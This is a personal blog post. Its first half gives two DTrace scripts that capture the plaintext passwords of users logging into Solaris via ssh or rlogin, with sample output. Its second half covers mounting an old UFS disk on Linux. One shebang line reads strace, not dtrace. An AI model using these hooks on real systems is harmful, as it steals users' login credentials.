Dtracing Passwords for Fun

Going through an old hardware stash, I've noticed a harddisk that was part of a Solaris test system of mine I disassembled 10 years ago. The disk contains an interesting artifact I implemented at that time: a proof-of-concept for capturing user entered passwords with DTrace.

Proof of Concept

The objective of this POC is to capture all passwords of all users that try to login to a Solaris system via password authentication. That means logins via ssh or even via rlogin.

With Solaris 10 and later, the natural and very convenient tool for this job is DTrace. DTrace comes with several providers, e.g. you can install a probe for specific system calls or even specific userspace functions.

The challenge with this is that in contrast to - say - syscall tracing, userspace tracing always has a significant overhead. Thus, the pid provider requires a concrete process id (PID) to trace, one cannot directly trace all userspace processes of an executable with that provider.

Fortunately, one can work around this: write two DTrace scripts. The first installs a probe that is executed for each exec of a - say - ssh process. In the probe's action the just started process is stopped (to avoid a race condition) and the second DTrace script with some pid provider userspace probes is started for the new PID. The first action of this script is to restart the stopped process (see also Destructive Actions, Dtrace Manual). By default, dtrace only allows safe actions, but it also supports enabling unsafe ones. Clearly, running external commands from a dtrace script and recursively calling dtrace isn't safe and can escalate quickly.

The remainder of the challenge is then to identify the interesting functions that are called by the SSH and rlogin daemon for obtaining the user entered password.

The wrapper script (part 1):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#!/usr/sbin/strace -s

#pragma D option destructive

proc:::exec-success
/execname == "ssh"/ 
{
  system("/usr/sbin/dtrace -q -s part2 -p %d -o dtrace.log", pid);
  stop();
}

The actual script for ssh (part 2):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/usr/sbin/dtrace -s

#pragma D option destructive

BEGIN
{
  system("prun %d", $ppid);
}

pid$target:a.out:read_passphrase:return
{
  printf("ssh %d %s\n", uid, copyinstr (arg1));
  ustack();
}

Note that prun is a Solaris command line utility for restarting a stopped process (think: kill -CONT). There is also room for improvement: we don't really need to trace this ssh process until it exits. For our purposes, it is sufficient to trace it until - say - it returns from ssh_login. Thus, we can add another probe for just that event that executes the exit-Action, such that this dtrace process stops all tracing and exits. This doesn't interrupts the traced process.

Example output:

ssh 1234: sehrgeheimespassword

ssh`read_passphrase
ssh`input_userauth_info_req+0xef
ssh`dispatch_run+0x49
ssh`ssh_userauth2+0x19e
ssh`ssh_login+0xa6
ssh`main+0xbd2
ssh`0x80586ba

Similar script for rlogin:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/usr/sbin/dtrace -s

#pragma D option destructive

BEGIN         
{
  system("prun %d", $ppid);
}

pid$target:libc.so:getpassphrase:return
{             
  trace(copyinstr(arg1));
  ustack();
}

Example output:

CPU     ID                    FUNCTION:NAME
  0      1                           :BEGIN
  0  42222             getpassphrase:return   sehrgeheimespassword
      0xd0ea86ec
      libnsl.so.1`S_tab+0x2e
      libnsl.so.1`S_tab+0x282
      0xd0c10bd6
      libnsl.so.1`_C0095A10+0xa3
      libnsl.so.1`_C0095A14+0x50
      bash`0x8052829
      bash`0x8053b59
      bash`0x8052137
      bash`0x8051e3a

How to read the disk

The old Solaris system was built with left-over hardware that was old even 10 years ago. That means the disk is a 80 GB parallel-ATA one. Thus, I've used a parallel-ATA to USB adaptor to connect the old disk to a modern Fedora 27 Linux system. A quick inspection shows that the disk contains some BSD style partition slices that fdisk doesn't understand but the kernel does such that some additional /dev/sdXY files are created. The kernel even correctly detects the UFS magic - but fails to mount the filesystem:

# mount -o noatime /dev/sdf5 /mnt/old
mount: /mnt/old: unknown filesystem type 'ufs'.

This is due to the ufs kernel module missing - Fedora 27 doesn't install it, by default. Thus:

# dnf -y install kernel-modules-extra

With the ufs kernel module available the mount succeeds:

# mount -t ufs -o noatime /dev/sdf5 /mnt/old
mount: /mnt/old: WARNING: device write-protected, mounted read-only.

The module also prints some warnings to the kernel log:

kernel: ufs: ufs was compiled with read-only support, can't be mounted as read-write
kernel: ufs: You didn't specify the type of your ufs filesystem
    mount -t ufs -o ufstype=sun|sunx86|44bsd|ufs2|5xbsd|old|hp|nextstep|nextstep-cd|openstep ...
    >>>WARNING<<< Wrong ufstype may corrupt your filesystem, default is ufstype=old

The warning might look scary, but the filesystem is mounted read-only, thus a wrong fs-type can't really damage the filesystem. At least for OpenSolaris post 10-ish/Solaris 11 pre-release the default ufs type is good enough and all files can be accessed.